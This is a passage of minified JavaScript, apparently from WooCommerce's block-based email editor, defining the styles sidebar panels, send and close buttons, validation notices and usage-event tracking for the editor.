Me=function(){return(0,n.jsx)(b.Card,{size:"small",variant:"primary",isBorderless:!0,children:(0,n.jsx)(b.CardBody,{children:(0,n.jsxs)(b.__experimentalVStack,{spacing:3,children:[(0,n.jsx)(b.__experimentalHeading,{level:3,className:"edit-site-global-styles-subtitle",children:(0,y.__)("Elements","woocommerce")}),(0,n.jsxs)(b.__experimentalItemGroup,{isBordered:!0,isSeparated:!0,size:"small",children:[(0,n.jsx)(Te,{element:"text",label:(0,y.__)("Text","woocommerce")}),(0,n.jsx)(Te,{element:"link",label:(0,y.__)("Links","woocommerce")}),(0,n.jsx)(Te,{element:"heading",label:(0,y.__)("Headings","woocommerce")}),(0,n.jsx)(Te,{element:"button",label:(0,y.__)("Buttons","woocommerce")})]})]})})})},Pe=(0,n.jsx)(O.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,n.jsx)(O.Path,{d:"M14.6 7l-1.2-1L8 12l5.4 6 1.2-1-4.6-5z"})}),Ne=b.Navigator||b.__experimentalNavigatorProvider;function Be({title:e,description:t,onBack:o}){return(0,n.jsxs)(b.__experimentalVStack,{spacing:0,children:[(0,n.jsx)(b.__experimentalView,{children:(0,n.jsx)(b.__experimentalSpacer,{marginBottom:0,paddingX:4,paddingY:3,children:(0,n.jsxs)(b.__experimentalHStack,{spacing:2,children:[(0,n.jsx)(Ne.BackButton,{style:{minWidth:24,padding:0},icon:Pe,size:"small","aria-label":(0,y.__)("Navigate to the previous view","woocommerce"),onClick:o}),(0,n.jsx)(b.__experimentalSpacer,{children:(0,n.jsx)(b.__experimentalHeading,{className:"woocommerce-email-editor-styles-header",level:2,size:13,children:e})})]})})}),t&&(0,n.jsx)("p",{className:"woocommerce-email-editor-styles-header-description",children:t})]})}b.Navigator||(Ne.Screen=b.__experimentalNavigatorScreen,Ne.BackButton=b.__experimentalNavigatorBackButton);const Re=Be;function ze(){return(0,C.xW)("styles_sidebar_screen_typography_opened"),(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)(Re,{title:(0,y.__)("Typography","woocommerce"),description:(0,y.__)("Manage the typography settings for different elements.","woocommerce")}),(0,n.jsx)(Me,{})]})}const Ie={fontFamily:!0,fontSize:!0,fontAppearance:!0,lineHeight:!0,letterSpacing:!1,textTransform:!1,textDecoration:!1,writingMode:!0,textColumns:!0},$e=function({element:e,headingLevel:t,defaultControls:o=Ie}){const[r,i]=(0,u.useSettings)("typography.fontSizes","typography.fontFamilies"),a=i?.default||[],{styles:l,defaultStyles:c,updateStyleProp:d}=fe(),m=Ce(l,e,t),p=Ce(c,e,t),{fontFamily:g,fontSize:_,fontStyle:h,fontWeight:f,lineHeight:w,letterSpacing:x,textDecoration:v,textTransform:S}=m.typography,{fontFamily:j,fontSize:k,fontStyle:E,fontWeight:T,lineHeight:M,letterSpacing:P,textDecoration:N,textTransform:B}=p.typography,R="heading"!==e||"heading"!==t,z=(0,s.useCallback)((o,n)=>{d("heading"===e?["elements",t,...o]:"text"===e?[...o]:["elements",e,...o],n)},[e,d,t]),I=t=>{z(["typography","letterSpacing"],t),(0,C.T7)("styles_sidebar_screen_typography_element_panel_set_letter_spacing",{element:e,newValue:t,selectedDefaultLetterSpacing:t===P})},$=t=>{z(["typography","lineHeight"],t),(0,C.T7)("styles_sidebar_screen_typography_element_panel_set_line_height",{element:e,newValue:t,selectedDefaultLineHeight:t===M})},H=o=>{z(["typography","fontSize"],o),(0,C.T7)("styles_sidebar_screen_typography_element_panel_set_font_size",{element:e,headingLevel:t,newValue:o,selectedDefaultFontSize:o===k})},F=t=>{z(["typography","fontFamily"],t),(0,C.T7)("styles_sidebar_screen_typography_element_panel_set_font_family",{element:e,newValue:t,selectedDefaultFontFamily:t===j})},L=t=>{z(["typography","textDecoration"],t),(0,C.T7)("styles_sidebar_screen_typography_element_panel_set_text_decoration",{element:e,newValue:t,selectedDefaultTextDecoration:t===N})},A=t=>{z(["typography","textTransform"],t),(0,C.T7)("styles_sidebar_screen_typography_element_panel_set_text_transform",{element:e,newValue:t,selectedDefaultTextTransform:t===B})},V=({fontStyle:t,fontWeight:o})=>{z(["typography","fontStyle"],t),z(["typography","fontWeight"],o),(0,C.T7)("styles_sidebar_screen_typography_element_panel_set_font_appearance",{element:e,newFontStyle:t,newFontWeight:o,selectedDefaultFontStyle:t===E,selectedDefaultFontWeight:o===T})};return(0,n.jsxs)(b.__experimentalToolsPanel,{label:(0,y.__)("Typography","woocommerce"),resetAll:()=>{z(["typography"],{}),(0,C.yM)("styles_sidebar_screen_typography_element_panel_reset_all_styles_selected",{element:e,headingLevel:t})},children:[(0,n.jsx)(b.__experimentalToolsPanelItem,{label:(0,y.__)("Font family","woocommerce"),hasValue:()=>g!==j,onDeselect:()=>F(void 0),isShownByDefault:o.fontFamily,children:(0,n.jsx)(u.__experimentalFontFamilyControl,{value:g,onChange:F,size:"__unstable-large",fontFamilies:a,__nextHasNoMarginBottom:!0})}),R&&(0,n.jsx)(b.__experimentalToolsPanelItem,{label:(0,y.__)("Font size","woocommerce"),hasValue:()=>_!==k,onDeselect:()=>H(void 0),isShownByDefault:o.fontSize,children:(0,n.jsx)(b.FontSizePicker,{value:_,onChange:H,fontSizes:r,disableCustomFontSizes:!1,withReset:!1,withSlider:!0,size:"__unstable-large",__nextHasNoMarginBottom:!0})}),(0,n.jsx)(b.__experimentalToolsPanelItem,{className:"single-column",label:(0,y.__)("Appearance","woocommerce"),hasValue:()=>f!==T||h!==E,onDeselect:()=>{V({fontStyle:void 0,fontWeight:void 0})},isShownByDefault:o.fontAppearance,children:(0,n.jsx)(u.__experimentalFontAppearanceControl,{value:{fontStyle:h,fontWeight:f},onChange:V,hasFontStyles:!0,hasFontWeights:!0,size:"__unstable-large"})}),(0,n.jsx)(b.__experimentalToolsPanelItem,{className:"single-column",label:(0,y.__)("Line height","woocommerce"),hasValue:()=>w!==M,onDeselect:()=>$(void 0),isShownByDefault:o.lineHeight,children:(0,n.jsx)(u.LineHeightControl,{__nextHasNoMarginBottom:!0,__unstableInputWidth:"auto",value:w,onChange:$,size:"__unstable-large"})}),(0,n.jsx)(b.__experimentalToolsPanelItem,{className:"single-column",label:(0,y.__)("Letter spacing","woocommerce"),hasValue:()=>x!==P,onDeselect:()=>I(void 0),isShownByDefault:o.letterSpacing,children:(0,n.jsx)(u.__experimentalLetterSpacingControl,{value:x,onChange:I,size:"__unstable-large",__unstableInputWidth:"auto"})}),(0,n.jsx)(b.__experimentalToolsPanelItem,{className:"single-column",label:(0,y.__)("Text decoration","woocommerce"),hasValue:()=>v!==N,onDeselect:()=>L(void 0),isShownByDefault:o.textDecoration,children:(0,n.jsx)(u.__experimentalTextDecorationControl,{value:v,onChange:L,size:"__unstable-large",__unstableInputWidth:"auto"})}),(0,n.jsx)(b.__experimentalToolsPanelItem,{label:(0,y.__)("Letter case","woocommerce"),hasValue:()=>S!==B,onDeselect:()=>A(B),isShownByDefault:o.textTransform,children:(0,n.jsx)(u.__experimentalTextTransformControl,{value:S,onChange:A,showNone:!0,isBlock:!0,size:"__unstable-large",__nextHasNoMarginBottom:!0})})]})};function He({element:e,headingLevel:t}){const{styles:o}=fe(),r=Ce(o,e,t,!0),{fontFamily:s,fontSize:i,fontStyle:a,fontWeight:l,lineHeight:c,letterSpacing:d,textDecoration:m,textTransform:u}=r.typography,p=r.color?.text||"inherit",g=r.color?.background||"#f0f0f0",_="link"===e?{textDecoration:m??"underline"}:{};return(0,n.jsx)("div",{className:"edit-site-typography-preview",style:{fontFamily:s??"serif",background:g,color:p,lineHeight:c,fontSize:i,fontStyle:a,fontWeight:l,letterSpacing:d,textDecoration:m,textTransform:u,..._},children:"Aa"})}const Fe={text:{title:(0,y.__)("Text","woocommerce"),description:(0,y.__)("Manage the fonts and typography used on text.","woocommerce"),defaultControls:Ie},link:{title:(0,y.__)("Links","woocommerce"),description:(0,y.__)("Manage the fonts and typography used on links.","woocommerce"),defaultControls:{...Ie,textDecoration:!0}},heading:{title:(0,y.__)("Headings","woocommerce"),description:(0,y.__)("Manage the fonts and typography used on headings.","woocommerce"),defaultControls:{...Ie,textTransform:!0}},button:{title:(0,y.__)("Buttons","woocommerce"),description:(0,y.__)("Manage the fonts and typography used on buttons.","woocommerce"),defaultControls:Ie}};function Le({element:e}){(0,C.xW)("styles_sidebar_screen_typography_element_opened",{element:e});const[t,o]=(0,s.useState)("heading");return(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)(Re,{title:Fe[e].title,description:Fe[e].description}),(0,n.jsx)(b.__experimentalSpacer,{marginX:4,children:(0,n.jsx)(He,{element:e,headingLevel:t})}),"heading"===e&&(0,n.jsx)(b.__experimentalSpacer,{marginX:4,marginBottom:"1em",children:(0,n.jsxs)(b.__experimentalToggleGroupControl,{label:(0,y.__)("Select heading level","woocommerce"),hideLabelFromVision:!0,value:t,onChange:e=>{o(e.toString()),(0,C.yM)("styles_sidebar_screen_typography_element_heading_level_selected",{value:e})},isBlock:!0,size:"__unstable-large",__nextHasNoMarginBottom:!0,children:[(0,n.jsx)(b.__experimentalToggleGroupControlOption,{value:"heading",label:(0,y._x)("All","heading levels","woocommerce")}),(0,n.jsx)(b.__experimentalToggleGroupControlOption,{value:"h1",label:(0,y._x)("H1","Heading Level","woocommerce")}),(0,n.jsx)(b.__experimentalToggleGroupControlOption,{value:"h2",label:(0,y._x)("H2","Heading Level","woocommerce")}),(0,n.jsx)(b.__experimentalToggleGroupControlOption,{value:"h3",label:(0,y._x)("H3","Heading Level","woocommerce")}),(0,n.jsx)(b.__experimentalToggleGroupControlOption,{value:"h4",label:(0,y._x)("H4","Heading Level","woocommerce")}),(0,n.jsx)(b.__experimentalToggleGroupControlOption,{value:"h5",label:(0,y._x)("H5","Heading Level","woocommerce")}),(0,n.jsx)(b.__experimentalToggleGroupControlOption,{value:"h6",label:(0,y._x)("H6","Heading Level","woocommerce")})]})}),(0,n.jsx)($e,{element:e,headingLevel:t,defaultControls:Fe[e].defaultControls})]})}function Ae(){(0,C.xW)("styles_sidebar_screen_colors_opened");const{userStyles:e,styles:t,updateStyles:o}=fe(),s=(0,r.useSelect)(e=>e(j.H).getTheme(),[]);return(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)(Re,{title:(0,y.__)("Colors","woocommerce"),description:(0,y.__)("Manage palettes and the default color of different global elements.","woocommerce")}),(0,n.jsx)(oe.oz,{value:e,inheritedValue:t,onChange:e=>{o(e),(0,C.yM)("styles_sidebar_screen_colors_styles_updated")},settings:s?.settings,panelId:"colors"})]})}var Ve=o(66087);function Oe(){const[e]=(0,u.useSettings)("spacing.units"),t=(0,b.__experimentalUseCustomUnits)({availableUnits:e}),{styles:o,defaultStyles:r,updateStyleProp:s}=fe();return(0,n.jsxs)(b.__experimentalToolsPanel,{label:(0,y.__)("Dimensions","woocommerce"),resetAll:()=>{s(["spacing"],r.spacing),(0,C.yM)("styles_sidebar_screen_layout_dimensions_reset_all_selected")},children:[(0,n.jsx)(b.__experimentalToolsPanelItem,{isShownByDefault:!0,hasValue:()=>!(0,Ve.isEqual)(o.spacing.padding,r.spacing.padding),label:(0,y.__)("Padding","woocommerce"),onDeselect:()=>{s(["spacing","padding"],r.spacing.padding),(0,C.yM)("styles_sidebar_screen_layout_dimensions_padding_reset_clicked")},className:"tools-panel-item-spacing",children:(0,n.jsx)(u.__experimentalSpacingSizesControl,{allowReset:!0,values:o.spacing.padding,onChange:e=>{s(["spacing","padding"],e),(0,C.T7)("styles_sidebar_screen_layout_dimensions_padding_updated",{value:e})},label:(0,y.__)("Padding","woocommerce"),sides:["horizontal","vertical","top","left","right","bottom"],units:t})}),(0,n.jsx)(b.__experimentalToolsPanelItem,{isShownByDefault:!0,label:(0,y.__)("Block spacing","woocommerce"),hasValue:()=>o.spacing.blockGap!==r.spacing.blockGap,onDeselect:()=>{s(["spacing","blockGap"],r.spacing.blockGap),(0,C.yM)("styles_sidebar_screen_layout_dimensions_block_spacing_reset_clicked")},className:"tools-panel-item-spacing",children:(0,n.jsx)(u.__experimentalSpacingSizesControl,{label:(0,y.__)("Block spacing","woocommerce"),min:0,onChange:e=>{s(["spacing","blockGap"],e.top),(0,C.T7)("styles_sidebar_screen_layout_dimensions_block_spacing_updated",{value:e})},showSideInLabel:!1,sides:["top"],values:{top:o.spacing.blockGap},allowReset:!0})})]})}function De(){return(0,C.xW)("styles_sidebar_screen_layout_opened"),(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)(Be,{title:(0,y.__)("Layout","woocommerce")}),(0,n.jsx)(Oe,{})]})}const Ge=(0,s.memo)(function(){const{userCanEditGlobalStyles:e}=(0,r.useSelect)(e=>{const{canEdit:t}=e(j.H).canUserEditGlobalEmailStyles();return{userCanEditGlobalStyles:t}},[]);return e&&(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)(a.PluginSidebarMoreMenuItem,{target:"email-styles-sidebar",icon:le,children:(0,y.__)("Email styles","woocommerce")}),(0,n.jsx)(a.PluginSidebar,{name:"email-styles-sidebar",icon:le,title:(0,y.__)("Styles","woocommerce"),className:"woocommerce-email-editor-styles-panel",children:(0,n.jsxs)(Ne,{initialPath:"/",children:[(0,n.jsx)(Ne.Screen,{path:"/",children:(0,n.jsx)(ke,{})}),(0,n.jsx)(Ne.Screen,{path:"/typography",children:(0,n.jsx)(ze,{})}),(0,n.jsx)(Ne.Screen,{path:"/typography/text",children:(0,n.jsx)(Le,{element:"text"})}),(0,n.jsx)(Ne.Screen,{path:"/typography/link",children:(0,n.jsx)(Le,{element:"link"})}),(0,n.jsx)(Ne.Screen,{path:"/typography/heading",children:(0,n.jsx)(Le,{element:"heading"})}),(0,n.jsx)(Ne.Screen,{path:"/typography/button",children:(0,n.jsx)(Le,{element:"button"})}),(0,n.jsx)(Ne.Screen,{path:"/colors",children:(0,n.jsx)(Ae,{})}),(0,n.jsx)(Ne.Screen,{path:"/layout",children:(0,n.jsx)(De,{})})]})})]})}),We=(0,n.jsx)(O.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,n.jsx)(O.Path,{d:"M19.5 4.5h-7V6h4.44l-5.97 5.97 1.06 1.06L18 7.06v4.44h1.5v-7Zm-13 1a2 2 0 0 0-2 2v10a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-3H17v3a.5.5 0 0 1-.5.5h-10a.5.5 0 0 1-.5-.5v-10a.5.5 0 0 1 .5-.5h3V5.5h-3Z"})});var Ue=o(38584);function qe(){const{togglePreviewModal:e}=(0,r.useDispatch)(j.H);return(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)(a.PluginPreviewMenuItem,{icon:We,onClick:()=>{(0,C.yM)("header_preview_dropdown_send_test_email_selected"),e(!0)},children:(0,y.__)("Send a test email","woocommerce")}),(0,n.jsx)(Ue.P,{})]})}var Ze=o(48558),Ye=o(41233);const Ke=()=>{const e=(0,l.useViewportMatch)("large");return(0,n.jsx)(n.Fragment,{children:e&&(0,n.jsx)(oe.Lf,{children:(0,n.jsx)(Ye.PreferenceToggleMenuItem,{scope:j.H,name:"fullscreenMode",label:(0,y.__)("Fullscreen mode","woocommerce"),info:(0,y.__)("Show and hide the admin user interface","woocommerce"),messageActivated:(0,y.__)("Fullscreen mode activated.","woocommerce"),messageDeactivated:(0,y.__)("Fullscreen mode deactivated.","woocommerce"),shortcut:Ze.displayShortcut.secondary("f")})})})};var Je=o(77003);const Xe={recordEvent:C.yM,recordEventOnce:C.xW,debouncedRecordEvent:C.T7};function Qe(){const e=(0,i.applyFilters)("woocommerce_email_editor_template_sections",[],Xe);return 0===e.length?null:(0,n.jsx)(a.PluginDocumentSettingPanel,{name:"template-settings-panel",title:(0,y.__)("Settings","woocommerce"),className:"woocommerce-email-editor__settings-panel",children:e.map(e=>(0,n.jsx)(a.ErrorBoundary,{children:(0,n.jsx)("div",{children:e.render()},e.id)},`error-boundary-${e.id}`))})}function et(){const{isDirty:e}=(0,a.useEntitiesSavedStatesIsDirty)(),{hasEmptyContent:t,isEmailSent:o,urls:s}=(0,r.useSelect)(e=>({hasEmptyContent:e(j.H).hasEmptyContent(),isEmailSent:e(j.H).isEmailSent(),urls:e(j.H).getUrls()}),[]);function l(){s.send&&(window.location.href=s.send)}const c=t||o||e,d=(0,i.applyFilters)("woocommerce_email_editor_send_button_disabled",c,{hasEmptyContent:t,isEmailSent:o,isDirty:e}),m="boolean"==typeof d?d:c,u=(0,i.applyFilters)("woocommerce_email_editor_send_button_label",(0,y.__)("Send","woocommerce"));return(0,n.jsx)(b.Button,{variant:"primary",size:"compact",onClick:()=>{(0,C.yM)("header_send_button_clicked"),(0,i.applyFilters)("woocommerce_email_editor_send_action_callback",l)()},disabled:m,"data-automation-id":"email_editor_send_button",children:u})}function tt({children:e}){const t=(0,s.useRef)(document.createElement("div"));return(0,s.useEffect)(()=>{const e=document.getElementsByClassName("editor-post-publish-button__button")[0];e&&e.parentNode?.insertBefore(t.current,e.nextSibling)},[t]),(0,s.createPortal)((0,n.jsx)(n.Fragment,{children:e}),t.current)}function ot(){const e=(0,s.useRef)(null),{hasNonPostEntityChanges:t,isEditedPostDirty:o,isEditingTemplate:i}=(0,r.useSelect)(e=>({hasNonPostEntityChanges:e(a.store).hasNonPostEntityChanges(),isEditedPostDirty:e(a.store).isEditedPostDirty(),isEditingTemplate:"wp_template"===e(a.store).getCurrentPostType()}),[]),l=i||t||o&&t,c=(0,s.useCallback)((e,t)=>{t&&e.classList.contains("force-hidden")&&e.classList.remove("force-hidden"),t||e.classList.contains("force-hidden")||e.classList.add("force-hidden")},[]);return(0,s.useEffect)(()=>{const t=document.getElementsByClassName("editor-post-publish-button__button")[0];return c(t,l),t?(e.current&&e.current.disconnect(),e.current=new MutationObserver(()=>{c(t,l)}),e.current.observe(t,{attributes:!0,childList:!0,subtree:!1}),()=>e.current?.disconnect()):()=>e.current?.disconnect()},[l,c]),(0,n.jsx)(tt,{children:!l&&(0,n.jsx)(et,{})})}const nt=()=>{const e="email-validation",t=(0,r.useSelect)(t=>t(re.store).getNotices(e),[]);return{notices:t,hasValidationNotice:(0,s.useCallback)(e=>e?void 0!==t.find(t=>t.id===e):t?.length>0,[t]),addValidationNotice:(0,s.useCallback)((t,o,n=[])=>{const s=n;(0,r.dispatch)(re.store).createNotice("error",o,{id:t,isDismissible:!1,actions:s,context:e})},[e]),removeValidationNotice:(0,s.useCallback)(t=>{(0,r.dispatch)(re.store).removeNotice(t,e)},[e])}};function rt(){const{notices:e}=nt();return 0===e.length?null:(0,n.jsx)(b.Notice,{status:"error",className:"woocommerce-email-editor-validation-errors components-editor-notices__pinned",isDismissible:!1,children:(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)("strong",{children:(0,y.__)("Fix errors to continue:","woocommerce")}),(0,n.jsx)("ul",{children:e.map(({id:e,content:t,actions:o})=>(0,n.jsxs)("li",{children:[t,o.length>0?o.map(({label:e,onClick:t})=>(0,n.jsx)(b.Button,{onClick:t,variant:"link",children:e},e)):null]},e))})]})})}const st=-3;function it(){const e=(0,r.useSelect)(e=>e(re.store).getNotices(),[]),{removeNotice:t}=(0,r.useDispatch)(re.store),o=e.filter(({type:e})=>"snackbar"===e).slice(st);return(0,n.jsx)(b.SnackbarList,{notices:o,className:"components-editor-notices__snackbar edit-post-layout__snackbar",onRemove:t})}function at({children:e}){const[t]=(0,s.useState)(document.createElement("div"));return(0,s.useEffect)(()=>{const e=document.getElementsByClassName("editor-visual-editor ")[0];e&&e.parentNode?.insertBefore(t,e)},[t]),(0,s.createPortal)((0,n.jsx)(n.Fragment,{children:e}),t)}function lt({disableSnackbarNotices:e=!1}={}){const{notices:t}=(0,r.useSelect)(e=>({notices:e(re.store).getNotices("email-editor")}),[]),{removeNotice:o}=(0,r.useDispatch)(re.store),s=t.filter(({isDismissible:e,type:t})=>e&&"default"===t),i=t.filter(({isDismissible:e,type:t})=>!e&&"default"===t);return(0,n.jsxs)(n.Fragment,{children:[(0,n.jsxs)(at,{children:[(0,n.jsx)(b.NoticeList,{notices:i,className:"components-editor-notices__pinned"}),(0,n.jsx)(b.NoticeList,{notices:s,className:"components-editor-notices__dismissible",onRemove:e=>o(e,"email-editor")}),(0,n.jsx)(rt,{})]}),!e&&(0,n.jsx)(it,{})]})}const ct=e=>{const t=(0,c.getBlockSupport)(e,"background");return t&&!1!==t?.backgroundImage};function dt(){const e=(0,r.useSelect)(e=>e("core/block-editor").getSelectedBlock(),[]),t=(0,c.hasBlockSupport)(e?.name,"border",!1)||(0,c.hasBlockSupport)(e?.name,"__experimentalBorder",!1);return(0,n.jsxs)(n.Fragment,{children:[t&&(0,n.jsx)(b.Fill,{name:"InspectorControlsBorder",children:(0,n.jsxs)(b.Notice,{className:"woocommerce-grid-full-width",status:"warning",isDismissible:!1,children:[(0,y.__)("Border display may vary or be unsupported in some email clients.","woocommerce"),(0,n.jsx)("br",{}),(0,y.__)("Units other than pixels (px) lack support in old email clients.","woocommerce")]})}),ct(e?.name)&&(0,n.jsx)(b.Fill,{name:"InspectorControlsBackground",children:(0,n.jsx)(b.Notice,{className:"woocommerce-grid-full-width",status:"warning",isDismissible:!1,children:(0,y.__)("Select a background color for email clients that do not support background images.","woocommerce")})})]})}var mt=o(77871);const ut=(0,n.jsx)(O.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"-2 -2 24 24",children:(0,n.jsx)(O.Path,{d:"M20 10c0-5.51-4.49-10-10-10C4.48 0 0 4.49 0 10c0 5.52 4.48 10 10 10 5.51 0 10-4.48 10-10zM7.78 15.37L4.37 6.22c.55-.02 1.17-.08 1.17-.08.5-.06.44-1.13-.06-1.11 0 0-1.45.11-2.37.11-.18 0-.37 0-.58-.01C4.12 2.69 6.87 1.11 10 1.11c2.33 0 4.45.87 6.05 2.34-.68-.11-1.65.39-1.65 1.58 0 .74.45 1.36.9 2.1.35.61.55 1.36.55 2.46 0 1.49-1.4 5-1.4 5l-3.03-8.37c.54-.02.82-.17.82-.17.5-.05.44-1.25-.06-1.22 0 0-1.44.12-2.38.12-.87 0-2.33-.12-2.33-.12-.5-.03-.56 1.2-.06 1.22l.92.08 1.26 3.41zM17.41 10c.24-.64.74-1.87.43-4.25.7 1.29 1.05 2.71 1.05 4.25 0 3.29-1.73 6.24-4.4 7.78.97-2.59 1.94-5.2 2.92-7.78zM6.1 18.09C3.12 16.65 1.11 13.53 1.11 10c0-1.3.23-2.48.72-3.59C3.25 10.3 4.67 14.2 6.1 18.09zm4.03-6.63l2.58 6.98c-.86.29-1.76.45-2.71.45-.79 0-1.57-.11-2.29-.33.81-2.38 1.62-4.74 2.42-7.1z"})}),pt=(0,n.jsx)(O.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,n.jsx)(O.Path,{d:"M20 11.2H6.8l3.7-3.7-1-1L3.9 12l5.6 5.5 1-1-3.7-3.7H20z"})}),gt={edit:{opacity:0,scale:.2},hover:{opacity:1,scale:1,clipPath:"inset( 22% round 2px )"}},_t={edit:{clipPath:"inset(0% round 0px)"},hover:{clipPath:"inset( 22% round 2px )"},tap:{clipPath:"inset(0% round 0px)"}},ht=()=>{const{urls:e}=(0,r.useSelect)(e=>({urls:e(j.H).getUrls()}),[]);function t(){e.listings&&(window.location.href=e.back)}return(0,n.jsxs)(b.__unstableMotion.div,{className:"woocommerce-email-editor__view-mode-toggle",transition:{duration:.2},animate:"edit",initial:"edit",whileHover:"hover",whileTap:"tap",children:[(0,n.jsx)(b.Button,{label:(0,y.__)("Close editor","woocommerce"),showTooltip:!0,tooltipPosition:"middle right",onClick:()=>{(0,C.yM)("header_close_button_clicked"),(0,i.applyFilters)("woocommerce_email_editor_close_action_callback",t)()},children:(0,n.jsx)(b.__unstableMotion.div,{variants:_t,children:(0,n.jsx)("div",{className:"woocommerce-email-editor__view-mode-toggle-icon",children:(0,n.jsx)(mt.A,{className:"woocommerce-email-editor-icon__icon",icon:ut,size:48})})})}),(0,n.jsx)(b.__unstableMotion.div,{className:"woocommerce-email-editor-icon",variants:gt,children:(0,n.jsx)(mt.A,{icon:pt})})]})},yt=()=>{const e=(0,i.applyFilters)("woocommerce_email_editor_close_content",ht);return(0,n.jsx)(oe.oq,{children:({length:t})=>t<=1&&(0,n.jsx)(e,{})})},ft=a.AutosaveMonitor,wt=a.EditorKeyboardShortcutsRegister;function xt({postId:e,postType:t,settings:o,contentRef:i,customSavePanel:l}){const{currentPost:c,onNavigateToEntityRecord:d,onNavigateToPreviousEntityRecord:m}=function(e,t,o){const[n,i]=(0,s.useReducer)((e,{type:t,post:o,previousRenderingMode:n})=>"push"===t?[...e,{post:o,previousRenderingMode:n}]:"pop"===t&&e.length>1?e.slice(0,-1):e,[{post:{postId:e,postType:t}}]),{post:l,previousRenderingMode:c}=n[n.length-1],{getRenderingMode:d}=(0,r.useSelect)(a.store),{setRenderingMode:m}=(0,r.useDispatch)(a.store),u=(0,s.useCallback)(e=>{i({type:"push",post:{postId:e.postId,postType:e.postType},previousRenderingMode:d()}),m(o)},[d,m,o]),p=(0,s.useCallback)(()=>{i({type:"pop"}),c&&m(c)},[m,c]);return{currentPost:l,onNavigateToEntityRecord:u,onNavigateToPreviousEntityRecord:n.length>1?p:void 0}}(e,t,"post-only"),{post:u,template:p}=(0,r.useSelect)(e=>{const{getEditedEntityRecord:t}=e(Q.store),o=t("postType",c.postType,c.postId);if(!o||"boolean"==typeof o)return{post:null,template:null};const n=o;if("wp_template"===c.postType)return{post:n,template:null};const{getEditedPostTemplate:r}=e(j.H);return{post:n,template:r(n.template)}},[c.postType,c.postId]),{isFullscreenEnabled:g,allCommands:_}=(0,r.useSelect)(e=>({isFullscreenEnabled:e(j.H).isFeatureActive("fullscreenMode"),allCommands:e(ee.store).getCommands()}),[]),{isFullScreenForced:h,displaySendEmailButton:y,disableSnackbarNotices:f}=o,{removeEditorPanel:w}=(0,r.useDispatch)(a.store);(0,s.useEffect)(()=>{w("post-status")},[w]);const[x]=(0,ne.b)(),v=(0,s.useMemo)(()=>({...o,onNavigateToEntityRecord:d,onNavigateToPreviousEntityRecord:m,defaultRenderingMode:"wp_template"===c.postType?"post-only":"template-locked",supportsTemplateMode:!0,styles:x}),[o,d,m,c.postType,x]);if(!u||"wp_template"!==c.postType&&u.template!==p?.slug&&(u.template||!p))return(0,n.jsx)("div",{className:"spinner-container",children:(0,n.jsx)(b.ProgressBar,{})});const S=_.every(({name:e})=>e.includes("woocommerce"));return(0,C.xW)("editor_layout_loaded"),(0,n.jsx)(b.SlotFillProvider,{children:(0,n.jsxs)(a.ErrorBoundary,{canCopyContent:!0,children:[S&&(0,n.jsx)(ee.CommandMenu,{}),(0,n.jsxs)(oe.KE,{postId:c.postId,postType:c.postType,settings:v,templateId:p&&p.id,contentRef:i,styles:x,customSavePanel:l,children:[(0,n.jsx)(ft,{}),(0,n.jsx)(a.LocalAutosaveMonitor,{}),(0,n.jsx)(a.UnsavedChangesWarning,{}),(0,n.jsx)(wt,{}),(0,n.jsx)(a.PostLockedModal,{}),(0,n.jsx)(ae,{}),(0,n.jsx)(Ge,{}),(0,n.jsx)(qe,{}),(0,n.jsx)(se,{}),(0,n.jsx)(oe.fA,{isActive:h||g}),(h||g)&&(0,n.jsx)(yt,{}),!h&&(0,n.jsx)(Ke,{}),"wp_template"===c.postType?(0,n.jsx)(Qe,{}):(0,n.jsx)(Je.O,{}),y&&(0,n.jsx)(ot,{}),(0,n.jsx)(lt,{disableSnackbarNotices:f}),(0,n.jsx)(dt,{}),(0,n.jsx)(te.PluginArea,{scope:"woocommerce-email-editor"})]})]})})}var bt=o(94373);const vt=()=>{const e={"You’ve tried to select a block that is part of a template that may be used elsewhere on your site. Would you like to edit the template?":{domain:"default",replacementText:(0,y.__)("You’ve tried to select a block that is part of a template that may be used in other emails. Would you like to edit the template?","woocommerce")}};(0,g.HY)("i18n.gettext","woocommerce/email-editor/override-text",(t,o,n)=>e[o]&&e[o].domain===(n||"default")?e[o].replacementText:t)},St=e=>{(0,i.doAction)("woocommerce_email_editor_events",e.detail)},jt=()=>{(0,C.V1)()&&C.oh.addEventListener(C.vD,St)};window.addEventListener("unload",function(){(0,C.V1)()&&C.oh.removeEventListener(C.vD,St)});const kt=(...e)=>{const t=(0,r.select)(a.store).isInserterOpened(),o=!!document.getElementsByClassName("block-editor-inserter__quick-inserter").length;let n="other_inserter";t?n="inserter_sidebar":o&&(n="quick_inserter");const s=e[0],i=e[5];!1===Array.isArray(s)&&"object"==typeof s&&(0,C.yM)(`${n}_library_block_selected`,{blockName:s.name}),Array.isArray(s)&&i&&i.patternName&&(0,C.yM)(`${n}_library_pattern_selected`,{patternName:i.patternName})},Et={"core/editor":{autosave:"editor_content_auto_saved",setDeviceType:e=>{(0,C.yM)(`header_preview_dropdown_${e.toLowerCase()}_selected`)},setRenderingMode:e=>{(0,r.select)(a.store).getRenderingMode()!==e&&document.querySelector(`[aria-label="${(0,y.__)("View options")}"]`)&&(0,C.yM)("preview_dropdown_rendering_mode_changed",{renderingMode:e})}},"core/block-editor":{insertBlock:kt,insertBlocks:kt},"core/preferences":{set:(e,t,o)=>{if((0,r.select)(Ye.store).get(e,t)===o)return;const n={focusMode:"focus_mode_toggle",fullscreenMode:"full_screen_mode_toggle",distractionFree:"distraction_free_toggle",fixedToolbar:"fixed_toolbar_toggle"};n[t]&&(0,C.yM)(n[t],{isEnabled:o})}},"core/commands":{open:"command_menu_opened",close:"command_menu_closed"}},Ct={},Tt={},Mt=()=>{(0,C.V1)()&&(0,r.use)(e=>({dispatch:t=>{const o="object"==typeof t?t.name:t,n=e.dispatch(o),r=Et[o];if(!r)return 